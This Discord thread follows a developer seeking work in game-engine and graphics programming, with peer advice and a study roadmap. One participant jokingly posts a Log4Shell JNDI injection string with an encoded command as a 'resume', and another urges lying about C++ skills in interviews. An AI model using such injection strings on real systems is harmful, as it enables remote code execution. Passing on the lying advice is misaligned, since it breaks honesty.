#Getting job in Game & Game Engine dev. + spec in graphics

557 messages · Page 1 of 1 (latest)

slate sand
#

So, I'm probably gonna have to go back to doing some iOS work as I'm quickly going to need to something part time. I'm hoping to pull something off here soon with either the esp32 or the new pi I got.

I've been reevaluating some stuff too. I know I need to make something, anything at this point. To maybe get the ball rolling again something I've always actually wanted to do was make a math library. Additionally, as much as I would like to explore making my own handled pc, it's too expensive atm.

But I have found a problem that I may be able to solve myself. My Gentoo install doesn't want to utilize the full the refresh rate available to it and maybe I can tweak a driver or setting with a program/driver?

Additionally, another potential game/hardware kind of work to do would be something related to game console emulators. I've been using rpcs3 and pcsx2 lately and have always wanted to contribute in some way. A potential side project for the future but maybe the work there can help getting a VM dev role?

#

I'm sorry I've been so unproductive, depression has taken a heavy toll on me but little steps are getting me closer. I appreciate the support!

#

I also have gotten really motivated by the Killzone series, especially with it's potential demise but the acquiring of Bungie may mean some hope for them. I thought maybe I should aim myself to work for a specific company and role. I could things from rewriting some lore to basing a single level as a recreation and demo of what I can do there

#

I need to sit down and crank out something. Yet, I don't know why that's been so difficult for me to do. Once I start working I'm golden.

#

I recently compared to how I'm feeling to the scene in The Persistence of Memory. I'm just melting and wondering why I don't get up and actually get to work.

wheat abyss
#

You have huge committment issues with finding a project and finishing it.

#

This was supposed to be a quick project to benchmark appimage vs snapd for a job interview and here you are xxx weeks later.

#

I feel like it's literally 24 hours of work and you're just not finishing something you should finish.

slate sand
#

I'm working on not doing that as much

#

It's been like this for awhile and it hasn't exactly been getting better. I've really enabled some poor behavior in terms of productivity and well actually doing anything. I'll make a plan, say I'll do x at y, and then it's midnight and time to do it tomorrow

#

I think what I'll do instead if the whole big esp32 program with GTK for the benchmark, is I'll take an existing program that I can build from source, package and benchmark. I piled on way too much and quickly defeated myself

#

Would that work?

#

That's something I'm 100% sure I could do in an afternoon

#

Like I could do it with PCSX2 and/or RPCS3

#

I can fix the mental health issues right away, but I can break this down into something I have no excuse to not do

wheat abyss
#

I think you need to hang around people IRL and get some good positive feedback.

#

There's an upper limit to internet chat advice it seems.

#

IMO just write on a piece of paper

"Benchmark Appimage Snapd"

Set yourself a small, achievable goal. And achieve it.

#

And maybe buy a week's pass at WeWork and go there in person.

slate sand
#

But now, despite going out, I'm not really "out" I suppose and being as social

#

Well, thanks again @wheat abyss . I got my objectives lost in the fog but I see what I should of been focusing on now. I thought the benchmark was more of a additional thing to do versus the main objective. Not sure how I got lost on that but stress can make the obvious oblivious I suppose.

wheat abyss
#

I think the gym is good but make sure you hang around tech people as well.

wheat abyss
#

Sounds good though. You're figuring things out.

slate sand
#

Ok. So today is hopefully the day. I'm installing Ubuntu in a semi vm, minimal. After that I'm going to build from source pcsx2. From there I will build a snap and app image version using the build pcsx2

#

I will use and run a game. Will using htop or whatever Ubuntu uses be enough for the benchmark metrics?

#

@wheat abyss

wheat abyss
#

You need the finish this.

#

And host it on GitHub.

#

Finished milestone on GitHub is the KPI you need to cross.

wheat abyss
#

Allg?

slate sand
# wheat abyss Allg?

Sort of. There's something with someone really bothering me and it just gives me all sort of ideas of what I should, could, want to be doing. The issue just sucks the energy and joy out of everything. Months have gone by as days and I'm somewhat disappointed in me.

#

Thanks btw

#

Microcontrollers are something I don't think I actually find that interesting, I want to think I do but every time I get started I just get distracted. SBCs like the raspberry pi are the smallest I think I'd want to go

#

I started another git project, but didn't mention since I guessed I wouldn't actually get anything done. But it goes hand in hand with some of the physics dev stuff we talked about before, and maybe even something like in a game engine/game dev.

I've always wanted to make a really fledged out math library. I love math and but haven't really touched it since college. I thought about maybe adding a visually component if I ever get anything done it too but my goal would be minimal side effects/pure functional programming but still using C. I also figure it could be a way to make me program at least once a day and make my own interesting coding exercise (I yawn and my eyes watery uncontrollably with Leetcode)

#

Sometimes I doubt if I should even be a dev. Tho I think it's mostly the depression and some a the things specifically related to the main issue making me depressed that are making me think that sometimes.

#

Last time I actually got somewhere in a project was game dev, both for an engine from a scratch and little fps. I get really pumped thinking about even contributing to a story, art, and even one day either selling a game or working my way at a company

#

Yet it's extremely competitive and I can't even get basic stuff done

#

I have to get a job by the end of the month so I either to refresh my iOS skills to get something or anything else with the hope that I actually get something done while working the other job. Mom said at least she wanted me to get something part time (I live on my own but she pays for the majority of my expenses but she won't be able to do now with her new job)

But if I'm back to menial labor or service/retail the stress is gonna really derail me and at least the iOS stuff isn't too hard I just found that the reality of what the jobs I could get in it weren't at all what I wanted to do

exotic marlin
slate sand
#

My mom pointed out that something I knew but didn't know how to put it into words, but I'm extremely, to a fault, intrinsically motivated

exotic marlin
#

you sound like you have plenty of ideas of stuff you want to play around with, and plenty of stuff you find interesting

slate sand
#

Indeed! Never short on that

exotic marlin
#

i've seen the "Sometimes I doubt if I should even be a dev." and it seems you have quite a lot of passion for the field, right?

slate sand
exotic marlin
#

oh, that's good :>

slate sand
#

I've tried other stuff before, and while I think ultimately I want to own/manage a business, I defs want to stay with dev being my main path to getting there

#

It's the ultimate medium and method of creation for me.

slate sand
#

I'll spare a super long post but I think the other thing is I'm sort of the only person in my family and friends that is in this field. But I know I need to fix that with being around more tech people.

Mom wanted to be doc, but got stuck at Organic Chem, and went to law school instead. Became a PD but dropped that after a few years to be a teacher for what's now like 25yrs. Dad is old (79/80) but was a successful business man and was one of the first guys to get established in China via HK when they first opened up. He was making $30k/month when he dated my mom in the mid 90s.

Then there someone who is with a doctor, and well to be blunt I want to seem more impressive than them lol. Similarly, I'll be the only person in my fam without a masters+ which I've thought about maybe going to more school for but probs not until I'm making decent money

#

Slightly shorter post of my interests in own life I went from wanting to be a theoretical physicists, a politician or some sort of broad resources management role, an artist , to programmer, to general manager of a gym, back to programmer.

But being a sort of computer hardware or software engineer + having some biz or product of my own sort of has always been something in between all of those things. The main reason I didn't go for it sooner was I didn't think I could.

#

I loved managing too, tho I fell into the trap most so at some point of doing where I should of delegated.

wheat abyss
#

Sounds like you need to go to a local Hackathon or something imo.

#

Just rock up and proudly rock first time last place and go from there.

slate sand
slate sand
#

@exotic marlin

#

If interested. Not sure where I'll start but just basic algebra I think

slate sand
#

I'm knee deep in lambda calculus rn

exotic marlin
#

👀

#

actually, when you say "functional", do you mean "no side effects" or do you mean "playing around with higher order functions"?

#

also, why add math.h header? (like, what's the usefulness vs including the system one? do you plan to modify it?)

slate sand
#

I just want to be able to see how C implements it's math library vs how I might do mine

slate sand
exotic marlin
#

I see, that makes sense 😄

slate sand
#

@wheat abyss I had lunch today with my likely future brother in law and a friend of his who work in systems (both aerospace, one defense one civilian) and had a pretty good time. We talked shop and honestly it gave me a lot of needed technical confidence. Hell, the civilian rocket dev was pretty impressed with/interested in my functional programming work and offered to split a referral fee with me (they offer up $10k) and apparently both are hiring out the wazoo

#

Defs needed that day with more tech people and totally see what you meant

#

Unix + heavy Cpp work too

wheat abyss
#

Yeah you definitely know how to do the thing haha

#

Why not just go do that

slate sand
wheat abyss
#

Yeah the point of the project was to add to resume for cold applying to roles. This seems like skipping a bunch of steps.

slate sand
#

Man, I wish there more jobs in C. Feels like I'm going to need a pretty strong working understanding of Cpp given how many (more) jobs want it

#

I was thinking about putting some time aside to learn and develop using Haskell but it seems like it would be a waste of time job wise

#

I'm finally changing some things in my life and am going to get more serious about all this. I can't fix what hurting me so much but I can't go back for retail or the likes (it really, really destroys my ego and me talk health)

#

I'm spending less time at the gym, somewhat getting up at 7am-10am and expanding my hobbies more

wheat abyss
#

I think you're just anxious about applying

#

You need to stick your neck out. Just lie and say "yes I can do that" whenever they ask you about C++

#

You've genuinely got the skills and can learn it from documentation in like a week.

slate sand
slate sand
slate sand
#

I did someone else’s resume before my own and it's just not acceptable

wheat abyss
#

Whose resume isn't acceptable?

wheat abyss
#

I think it's important to acknowledge that.

#

But also to acknowledge that, reaching out and jumping into the unknown here provides you with so many wonderful opportunities.

Taking on the unknown will be really great for you.

slate sand
#

@wheat abyss I applied to a job today!

#

They reached out to me.

#

It's not the worst thing and while not exactly what I want to do, I need something

#

I'm super into Doom and am looking at recreating the engine. C go brrr

Edit sorry this was meant for another place. But it's a project I've been looking at for awhile (game engine) and started before but I sort of lost direction ... and eventually stopped working on it.

tight quartz
#

@slate sand ibrown malware dev arc when

slate sand
#

It's on the spinner for my career ambitions, we'll get there eventually

tight quartz
#

why do you run from your power... blobcatthinkfrown

slate sand
#

Lol

tight quartz
#

yeah hr heres my resume xaxa)) ${jndi:ldap://192.168.0.113:1389/Basic/Command/Base64/ZWNobyAnVGhpcyBpcyBhIG1hbHdhcmUnID4gL3RtcC9tYWx3YXJlLnR4dAo=}

viral wyvern
#

kernel/os, embedded, hardware, security(exploit dev, malware reversing) etc

slate sand
#

Well, hopefully today will be a step in thaw right direction

slate sand
tight quartz
#

ibrown c++ saga... truly we are blessed blobsip

#

though u prob dont need header guards + pragma.. even old ass gcc 3 recognizes pragma once

#pragma once

#ifndef Cpp_Learn_hpp
#define Cpp_Learn_hpp
slate sand
#

One thing I wonder about tho is templates, as from what I understand for something like an inline function template and class/interfaces you need to also include the .cpp file in the header too.

#

Rn I’m struggling with the desired salary question. Most recruiters are recognize that I at least have 6mo. Exp. When they ask my desired salary, I say $60-65k but emphasize being flexible on that and they say that’s fair. But then I get shot down just to be told I don’t have enough experience and I don’t even get an interview

#

And I’m getting email from the likes of:

#

Yet I’m not seeing how that can be

#

So either I stick to entry level or try and push that I’m just experienced to not be seen as such

#

Then there’s C and C++. For every C job that comes my way or I find, there’s 10+ C++. That and nearly all the C jobs want more experience than I have. With C++ even back when I was first starting out I was at least getting technicals

#

And now it’s looking more and more like I’m going to have to find work that isn’t programming and I’ll fall further behind. Sigh…keeping at it tho

exotic marlin
#

I'm a little confused as to whether you want a C job or a C++ job in the end

#

I see you learning templates which suggests C++?

exotic marlin
slate sand
#

Thanks!

exotic marlin
tight quartz
#

if you use RAII and know a few nice modern c++ things (smart ptr, compile time metaprogramming, coroutines) as well as STL containers and a lil CMake + CTest (valgrind etc. too) u would prob be in top 5% based o nthat for jr i think

#

bonus would be atomics / memory ordering / concurrency then u could join a data firm for the weighted coin sacks

slate sand
#

I got a technical interview setup for something that sounds up my alley !!!!

slate sand
#

Thanks, but it might not good

#

They got two different resumes from me because the idiots at a recruitment company that initially got me into contact with them sent my indeed resume but I sent the project manager my regular resume and they expressed concern over the difference

#

The recruitment company had a manager call me and they apologized and explained it bro g their fault

#

I applied but not holding my breath

#

AR/VR Systems Frameworks Engineer

tight quartz
#

you need to become a heap sprayer but with resumes

slate sand
#

I reached out to two recruiters

slate sand
#

All this chess cheating news and theoretical communication devices is giving me an embedded device idea

viral wyvern
slate sand
#

Well there’s no way I passed that but my god I lucked out with the coding review person, I was allowed to lookup stuff and she was super patient

#

I’m just glad I had the opportunity to fail an interview than not have one

slate sand
#

We’ll see!

prime pumice
tight quartz
#

@slate sand 🤖 check

slate sand
#

Got into a minor car accident and left my bag in the car, so hopefully o get that back soon, otherwise my dev is more limited to home. But I’m making some changes to my schedule to make that more often

tight quartz
#

that's unfortunate, glad to hear ur okay king

slate sand
#

I got a job. It’s not in software but gets me back to working and money in the bank.

#

Which I’ll need as something I’ve been thinking for awhile but couldn’t totally afford is to make a portable PS2 emulator console.

#

That, I’m seriously considering (along with the benefits of new job which will help) is getting a masters

#

I’ve been really into physics since a young age (when I was in 8th grade for continuation we had to say what we wanted to be when grow up and I said a theoretical physicists).

#

So I might also consider either a degree in physics or EE.

#

This also has me wondering with combined hardware and embedded engineering experience that maybe working toward quantum computing (I’m mostly into quantum mechanics/QFT) would be the ultimate career for me

#

I needed to step away from everything tech for awhile and to let myself feel and think freely. Obviously I’ve had time and done so, but I mean so at a deeper level.

#

I’m hoping to focus on some hardware projects and feel less pressure to things like leetcode. That said, I’m also figuring at maybe on focusing on the hardest LC problems.

#

My job is 100% remote and likely to be very low stress. This will help me be grounded in a proper environment to also do my development. The gym has made some changes that make it less of a productive environment for me and the people I more/less stayed for (that also motivated me) have left, so I feel less pressure to be there

#

As for robotics, idk. I’d like to try out some kits and maybe get a Jetson nano and/or explore CV. That said, I don’t myself going to far in that direction.

wheat abyss
#

Your biggest strength is focusing on technology though?

#

Walking away from your skill at software to do a different field like physics seems like a poor use of your time.

#

Getting a master's sounds good. I just cannot physically imagine anything but a master's in Computer Science for you.

#

I strongly feel if you simply interacted in a face to face software engineering workplace you'd do fine.

slate sand
#

Can’t talk rn, I’ll touch back later

slate sand
#

Maybe this

slate sand
#

So I’ve been doing some thinking

#

Until I have some components to one’s life that changes my needs and makes thing a a lot more palatable, I think this is best course of action for me

#

So I got this crappy but easy completely remote job, but not tech right

#

1: Get masters, specifically with a focus in Computer engineering. I like embedded for many reasons, but mostly because of the power for optimization and feeling like I was getting math and hard science heavy dev. Partially why I considered physics as a degree. I agree with some others tho that another bachelors would be a big waste of time and that a masters in CS would be better. That, and for what I want to do it would help a lot.

2: Do freelancing (like Fivver) alongside my easier job. I know it deviates a bit from my typical stuff but when it wasn’t doing it for some big corporation, I fairly enjoyed doing iOS Apple development. Never felt too complex, Swift is pretty high level but has a certain “C” ness to it, and it can really let one express themselves artistically. I’m thinking first I get back into actually making a small game or other app (I have ideas for both but could vary a lot in terms of scale), but go the whole 9 yards of getting it on the store and etc. Start with something I’m completely in control of and move on to small contracts.

4: Join a startup
4A: Really, fanatically, go to as many networking events as possible. Meet people, develop and prevent my world and see what other are doing and where I could fit in.
4B. Join a startup. So, long story short, I think the biggest issue I’ve had is that for me CompSci was always meant to be a path of personal creation, artistic expression, and entrepreneurship. Maybe down the road I could do working some more traditional job at a big company in their hardware/embedded or OS stuff.

In terms of a startup tho, I envision something like joining making a game vs a big studio, making a new or adding to a Linux distro or the kernel itself, or developing some of hardware component or similar

#

Like, I’ve really wanted to make a DYI handheld ps2 emulator. I know others are out there and it will likely be more expensive but I’m all for it. This would feed into everything from embedded to operating system. Mostly I’d focus on size and performance in tandem using like PCSX2

#

4C: Also, while I can afford to not be making much and is less stable employment wise. While I have no wife or kids to consider

tight quartz
#

i dont think Fiverr pays too well tbh it's mostly race to the bottom, if you're comfy with iOS/Swift stuff that pays kinda well imo, i like opt #2 (ez job and contract on side, but dont think fiverr is worth it for a lad of your cognition)

slate sand
#

The job I got is ok but I’m itching to jump from it. Might see if I can do the gym again, sitting all day kind of drives me nuts, the pay stinks, and etc

#

I’m thinking a standing desk with some sort standing elliptical might help, but at least at the gym I’d be somewhere I plan to be after work anyways and when I get home or there do the side gig stuff

#

I really like having flexible hours and not doing 9-5, but then I also don’t mind it as much when I physically moving around

#

Rn it’s a crappy job, that has me all day, and by the time I’m done programming isn’t on my mind. That said, I’m doing it somewhat during my job lol.

#

Idk, but I have faith I’ll figure it out.

near fog
#

@slate sand checking in hows the new job going?

slate sand
#

Howdy @near fog !

slate sand
#

Which is...motivating me to get back to focused on my CS career

#

With so many jobs leaving me feel dissatisfied, I might as well go with what pays most at least

#

That said, my latest jobs have done me the favor of clearing my mind some and pushing me to do what I sadly didnt do over the past months

#

"omg I hate this job Im going to program when I can instead and work hard on getting back on track with CS"

#

The gym seemed like possibly even maybe worth exploring as a career again, but safe to say I am left so disillusioned from my previous and current experience in that field that it's safe to say CS is my way

#

Further more, it's all made looking at any software job more attractive

#

But ultimately I think I've figured out what I should aim for and what make me most happy

#

Freelancing

#

Now, like I remind my father, that's not to say I'm going to drop everything and go that way full throttle as I know 1) I cant afford to atm and 2) It will take some time to get there

#

It's what I see as letting me work relatively where I want, like the gym, and eventually more on things I wish to.

#

But at the very least in an example I used with someone else, it will serve early on as taking the min. number of classes at uni to keep my experience from expiring

slate sand
#

The main things Im figuring rn are:

  • Balancing what I'm good at + want to do vs. Doing what's got the most (in terms of volume and consistent supply of) freelance work until I can more/less do at least intermediate, ideally "expert" jobs on place like Upwork, Fivver, Gun.io, Craigslist (found work there before), and the like
  • Daily Schedule with my new job. I work 5pm-1am, with a 30m break at 9p and off Sun-Mon. I've finally gotten a system getting up early (reliably) in order so this has gotten easier. I think what will lead me to success is starting out 25min/1hr (code/other) and gradually transitioning to 1hr/25min (code/other) until I start my job at 5.
  • Not wasting time. I think I have an ok GitHub profile in terms of project presentation/portfolio but many have suggested that I make a website too. This may also coincide with the first point as I think many of the initial jobs I can do/get are web and mobile dev work. I think I find and pick a single, but popular, framework I could use my website as both a project for display and functionally satisfy making one to display my other work. That said, I do not want to fall into the webdev rabbit hole and may even consider just doing some GTK (cuz C) + Emscripten for JS stuff for said website.
#

As for more "relevant" projects, my main one Im planing on doing (both something I've thought of doing before and funnily enough also suggested by ChatGPT given my demands) is a handheld SBC focused around PS2 emulation.

slate sand
# near fog <@230139284408107008> checking in hows the new job going?

But, to answer this more directly and succinctly...I hate my current job at the gym. The management is fine and coworkers are ok but tbh a lot of people who know me there have, in the most polite way possible, expressed being disappointed to see me "doing something so below my potential"..and I sort of feel that but get I didn't make the best use of my time before and I'm paying the price (but could be worse, much so).

Not thrilled how me "making a lot/dont tell your coworkers" is $16/hr + benefits. That said, I'm basically guaranteed to be promoted to "supervisor" and be bumped up to $17/hr in the next 3mo. which sounded great but being a supe in this dept. and job is at best closer to being a lead who "leads the shift". Nothing like any supervisors I've ever had before in any other job.

#

We're also the lowest compensated dept. that also does the most work.

#

All that said, while I don't see it coming quickly, if $16-17/hr (parents said not to worry about benefits despite turning 26 soon which means in the US I cant be covered under them anymore) is what I'm looking to match, maybe/hopefully switch to doing full time, then I think I can get there.

#

My goal, albeit not expectation, is to get there before getting the promotion/3ish mo.

#

But at the very least to be doing and completing freelance work by then.

near fog
#

yah going to gym has helped me lot.

#

I been thinking what I can do is get job description of the jobs that i am interested in and build up my skills to those jobs. that way. its very specific and I not running around chasing rabbits.

slate sand
# near fog I been thinking what I can do is get job description of the jobs that i am inter...

That's a good idea and has helped me a bit both when looking for a job and freelance work. Tho, it's lowkey makes me sad knowing that the job will be gone 😭 . I'm still very into firmware, microcontrollers, SBCs, linux, kernels, and etc it's just the only thing I'm into. That and many have somewhat assured me in the long run being something akin to a generalist is better. This year has mostly been a good start, gym job knows I'm pursing freelancing too btw, and I've picked back on things where I left off.

#

Many have also suggested looking at things like Robotics and a guy I know who is at my current job (gym) is actually the sole mech.eng at a robo startup both 1) Oddly (imo) hates his current job (has his own office and is legit the entire mech.eng dept.), looking for other work but is increasingly more passionate about his role (same as me) at the gym. 2) Conrfimed what I've been asked, heard, and read about the increasing demand for Rust specifically in Robotics which I'm not sure I really want to spend time and energy getting into

#

He did say he doesnt like not having a mentor or even someone to else to even teach the job too but we're close in age (late 20s)

#

so I sort of get it

#

We'll figure it out!

#

Leetcode is something I get so, SO, so bored doing and I think the only real way I can manage it is by finding hard problems to tackle that might also involve skills tested in easier+med ones.

#

But honestly I just want to avoid and spend time on making something and letting intuition guide me to the solution should I be asked to do a LC prob. again. Doing LC directly and especially lots of little probs gives me some anxiety as it makes me feel more focused memorizing than understanding the problem and that I'll blank because I didn't memorize some problem

#

Ultimately hope to be focused on C, as me and C++ really dont get along (somewhat along the lines of so many reserved words, imo messy syntax, and stuff regarding their revision process) and Rust doesnt really persuade me beyond a proper Makefile with cautious compiler flags + knowing how to use GDB effectively), and maybe (I wont go as far to say totally realistic) using Emscripten where I can in place of needing to do a lot of JS.

#

Swift is known for and imo does take a lot of influence from C which why I think I don't totally hate it.

stone urchin
#

that comes with the chance of a return offer when I graduate this December

#

but then again thinking back to the last time I worked retail at $10/hr 18 would have felt like amazing. So it's all relative.

slate sand
slate sand
slate sand
#

Also sorry for the blocks of text y'all. I'm working on being concise but felt given the lack of an update (super appreciate @near fog checking in) from me and wanting to just give some context it's not too egregious.

#

Later, if there's any interest, I will post my project plans. Both made by me and ChatGPT (which is nice so I dont buck others here as much but also see/lowkey confirm my ideas).

#

@near fog Another thing I've started to do is when I notice it whether from searching for something I need or ref'd somewhere else, I like to take a deep look at GitHub profiles of people who I think are doing work I should be

#

And then I took a closer look at his profile and he's done all sorts of stuff I've either started, tried, or been interested in from kernels, OS, and even lots of mostly C heavy things!

#

realizes my lack of personal progress 😭

#

Sigh, we're getting there!

near fog
slate sand
#

TIL that LLVM can compile C to WASM! No need for Emscripten boilerplate

wheat abyss
#

Website sounds perfect.

#

Deliver that IMO

slate sand
# wheat abyss Website sounds perfect.

I'm getting there but I'm hung up if I try and pick a framework and make a portfolio site from scratch, use a website builder, or do something like making like a desktop app with like GTK and compiling it wasm and hosting that?

#

As far as the third option, I tried pitching it to a bot and I think it made a good point:
"It is worth keeping in mind that this approach can be more complex and time-consuming than using traditional web frameworks that are specifically designed for web development and have more resources and support available. It may be more beneficial to focus on showcasing your skills and knowledge as a C developer through other means, such as contributing to open-source projects or creating sample projects that demonstrate your abilities." which would indicate to spend as little thought and time on the portfolio site itself.

#

To be concise should I:
A - Make a portfolio website using a website builder like Wix
B - Make a portfolio website from scratch using a popular framework like Angular, etc
C - Try to make a portfolio website using like C web framework (way less popular tho), like Kore or try from scratch
D - Make instead using something like GTK and C, and compile to WASM and just host that

#

I'm open to other ideas

wheat abyss
#

make a proof of concept and iterate

#

come back when you have a Hello world website

slate sand
#

but in which of the above?

wheat abyss
#

When I talk to developers about code complexity, they often say that they want to write simple code, but deadline pressure or underlying issues mean that they just don’t have the time or knowledge necessary to both complete the task and refine it to simplicity. Well, it’s certainly true that putting time pressure on developers tends to lead to t...

slate sand
#

thanks

wheat abyss
#

Simple is best.

#

Typescript and nodejs

#

imo

slate sand
#

so, like B?

wheat abyss
#

Yes, you had the right idea with option B.

#

Just not angular

slate sand
#

ok

wheat abyss
#

Honestly, not even React. Just pure Typescript and nodejs

#

for the hello woeld

slate sand
#

I can do that

wheat abyss
#

come back when you have a white web page with the words "Hello world!" web page hosted with a domain name

slate sand
#

That work?

#

I know gt pages are static tho

wheat abyss
#

It's a good start.

#

I think though, you're expected to host it yourself

#

Which means figuring out domain name etc.

slate sand
#

ok

slate sand
#

someone forked my project today 😭

#

My esp32 one

#

Maybe I should revisit and actually finish that one 🤔

near fog
slate sand
slate sand
#

I feel saying it but I’m proud to have finally completed hello triangle

#

SDL2 + OpenGL.

#

Took me longer than I wanted, but I also like go back and forth and make sure I understand the documentation

#

I needed to make something. ANYTHING. And this felt great!

spiral basin
#

The first triangle is always magical no matter how you do it

spiral basin
#

Also have to add this thread is making me realize how much up my ass I am being while looking for a job

slate sand
tight quartz
#

couple more of thos ebad boys and u got an engine

slate sand
#

So, there’s this person I met through another channel, back when I mostly did Swift programming and was looking for work.

Long story short, they’ve stuck around despite what feels like pretty minimal work on my end and I’ve never charged them because of it and not being able to focus on it.

Well, I told them I was getting back into freelancing and they have something for me. Said the same thing like oh I’ll do it for sure but don’t work about pay I’ll just use it for portfolio/ref, but they’re insistent on paying me

#

I have a vague idea of what it entails, but not sure what I should charge.

Since I already offered to do it for free so I want to say oh whatever you’re comfortable with but not sure what feels like fair price/good way to approach it further? Last time I had something like the guy eventually just said “I won’t pay you less than $30/hr” when I quoted $20-25

#

I think for rn I’ll just ask to see the project so I can better gauge how long it will take and/or just charge a flat rate. Obv wouldn’t do that in a normal freelance situation, but curious on your input.

#

I want to actually do it since the gym job has distracted (in time but mostly energy) me from both embedded and freelancing in general, have a recent real gig to add to my resume and etc. But I feel bad about being so noncommittal to it before and don’t want to charge them because of that, yet also understand because of that, that’s why they want to pay (aka so I actually do it)

tight quartz
slate sand
#

Damn, too bad I’m not a senior .NET dev

#

I’m quitting the gym job and so is another worker but she’s a C suite exec at Kaiser

#

Was telling me about a job opening and encouraging me to apply for it and how she has to put in her recommendation soon

#

I’m like “uh, I haven’t touched it in awhile but I learn fast and etc” and she was like “oh cool! It starts at $130k/yr and is remote”

#

“Hey Chatgpt, how do I become a senior .NET dev in a week?”

near fog
#

Lol same I get lots of offers for java and spring boot. Idk what to do.

slate sand
# misty holly Do people work at gyms for fun?

She said she was working there to pay her daughters rent. I and other asked how she still couldn’t afford that with her salary but she said she has very expensive taste. Like, 10ks worth LV, DG, Gucci, and etc

misty holly
slate sand
# misty holly Interesting what lifestyle creep will do to you

Yeah, her life has been a bit all over the place but it makes me think about managing my money from jobs to inheritance. Making $60k rn would feel like living like a king but I would also be taking on a whole bunch of new expenses that were previously covered for me by my parents help

slate sand
#

Getting job in Game & Game Engine dev. + spec in graphics

slate sand
#

During my time at the gym job, I reflected on my interests and goals. I discovered that I enjoy embedded development, but my passion lies in game development, particularly graphics/rendering and low-level optimizations. Although I want to pursue a handheld console project, I currently lack the time and resources.

Embedded development will be valuable in understanding hardware-level optimizations, customizing firmware for projects like handheld consoles, and contributing to open-source emulators. I've made progress in creating custom game engines and using graphical libraries programmatically, and I genuinely enjoy learning about these topics.

However, I often let others' opinions about the difficulty or competitiveness of a field influence my decisions, resulting in indecisiveness and inaction. I must trust my experiences and interests instead of succumbing to external pressure.

#

Basically, past experiences that feel similar to this have taught me that I’m lot more successful and struggle much less when I actually do what I want to do. For example, I put off a CS degree when it was what I really wanted to because I was convinced by others that’s it was too hard either for me or was better suited for people that fit a more “traditional” (according to them) past experience with things like math and interests. My degree I got was in economics and political science, I ended with a 2.7gpa. I went back to the same school and finished the CS degree with a 3.7+gpa.

#

While a lot of this exploration into this career path has mostly been in the last year, I’ve been interested in and worked on this kind of stuff many years prior. But I always dropped it because of how frowned upon and pessimistic people are about game and game engine dev.

slate sand
#

I am more organized than ever and have made significant progress on my chosen path. The gym job reaffirmed my interest in software engineering and helped me understand what I naturally gravitate toward when I'm not pursuing higher pay, readily available opportunities, or easier options.

Exploring embedded development allowed me to understand my preferences and distinguish between my personal and professional interests. I've discovered that embedded development and game engine development can intersect and complement each other, even though they aren't as directly related as they were in the past. This exploration has provided me with a better understanding of where these fields fit into my life, and I am excited about the opportunities they present.

#

So with that update, id appreciate some input on the my current plan and projects planned

#

— 2 Week Plan —
Day 1-2: Core Competencies

  • Brush up on your programming skills (C++, C#, or Python)
  • Review essential algorithms and data structures
  • Get comfortable with linear algebra, geometry, and trigonometry

Day 3-4: Game Engines

  • Choose a popular game engine (Unity or Unreal Engine)
  • Complete the official beginner tutorials for the chosen game engine
  • Familiarize yourself with the engine's UI, tools, and scripting languages

Day 5-6: Game Development Basics

  • Learn about game loops, event handling, and collision detection
  • Practice creating basic 2D and 3D games using the chosen game engine
  • Get familiar with the asset pipeline (importing models, textures, and animations)

Day 7-8: Graphics Programming

  • Learn the basics of shaders, materials, and lighting in the game engine
  • Experiment with different shader types and create simple visual effects
  • Understand the basics of rendering optimization techniques

Day 9-10: Game Projects

  • Develop a simple, polished game prototype showcasing your skills
  • Focus on clean code, good performance, and engaging gameplay
  • Create a video or screenshots demonstrating your game's features

Day 11-12: Portfolio & Resume

  • Build a portfolio website to showcase your game projects, skills, and experience
  • Include a downloadable resume and links to your GitHub or GitLab repositories
  • Write a tailored cover letter for each job application

Day 13-14: Job Applications & Networking

  • Search for entry-level game developer positions and internships
  • Apply to jobs with your tailored resume, cover letter, and portfolio
  • Join online communities, forums, or Discord servers to network with other game developers
#

— Projects —
Easy Project: 2D Raycasting Visualization

  • Set up 2D grid (walls & empty spaces)
  • Implement movable "camera"
  • Raycasting algorithm (calculate intersections)
  • Visualize raycasting (draw lines)
  • Experiment with grid configurations & camera movement

Medium Project: 3D Raycasting Engine (Doom-inspired)

  • Create 2D map (walls, floors, ceilings)
  • Implement player object (movement & looking around)
  • Raycasting algorithm (calculate intersections)
  • Render 3D scene (draw vertical slices)
  • Add textures (walls, floors, ceilings)
  • Implement basic lighting & shading
  • Experiment with map layouts & optimize performance

Hard Project: Real-time Ray Tracing Engine

  • Set up 3D scene (objects & materials)
  • Implement camera object (movement & looking around)
  • Ray tracing algorithm (calculate intersections)
  • Advanced lighting techniques (global illumination, shadows)
  • Add reflections & refractions (recursive ray tracing)
  • Optimize engine for real-time (hardware acceleration)
  • Experiment with scenes, materials, & lighting configurations
slate sand
#

— 🗺️ Roadmap this all based on —

Game Engine Developer (Graphics Specialization) Roadmap

  1. Core Competencies
    1.1 Mathematics
    * Linear Algebra
    * Geometry
    * Trigonometry
    * Calculus
    1.2 Programming Languages
    * C++
    * C#
    * Python
    1.3 Algorithms and Data Structures

  2. Game Engine Fundamentals
    2.1 Game Loops
    2.2 Event Handling
    2.3 Physics Engine
    2.4 Game State Management
    2.5 Audio

  3. Graphics Programming
    3.1 Graphics Pipeline
    3.2 2D & 3D Coordinate Systems
    3.3 Shaders
    * Vertex Shaders
    * Pixel Shaders
    * Geometry Shaders
    * Compute Shaders
    3.4 Textures & Materials
    3.5 Lighting
    * Ambient Lighting
    * Directional Lighting
    * Point Lighting
    * Spot Lighting
    3.6 Shadows
    3.7 Post-processing Effects

  4. APIs & Libraries
    4.1 OpenGL
    4.2 DirectX
    4.3 Vulkan
    4.4 WebGL
    4.5 Graphics Libraries
    * SDL
    * SFML
    * GLFW

  5. Game Engines
    5.1 Unity
    5.2 Unreal Engine
    5.3 Godot
    5.4 Custom Game Engine Development

  6. Version Control & Collaboration
    6.1 Git
    6.2 GitHub, GitLab, or Bitbucket
    6.3 Project Management Tools
    * Trello
    * Jira
    * Asana

  7. Portfolio & Networking
    7.1 Create a Portfolio Website
    7.2 Contribute to Open Source Projects
    7.3 Participate in Game Jams
    7.4 Attend Conferences & Meetups
    7.5 Join Online Communities

  8. Job Search & Interview Preparation
    8.1 Tailor Your Resume & Cover Letter
    8.2 Leverage Your Network
    8.3 Prepare for Technical Interviews
    8.4 Apply for Internships & Entry-Level Positions

#
stone urchin
#

oh @slate sand i just noticed your thread, I'm doing the same thing in the thread above you lol

#

I'm learning OpenGL and probably WebGL after to possibly work in embedded or graphic dev roles

stone urchin
# slate sand **— 🗺️ Roadmap this all based on —** # Game Engine Developer (Graphics Speciali...

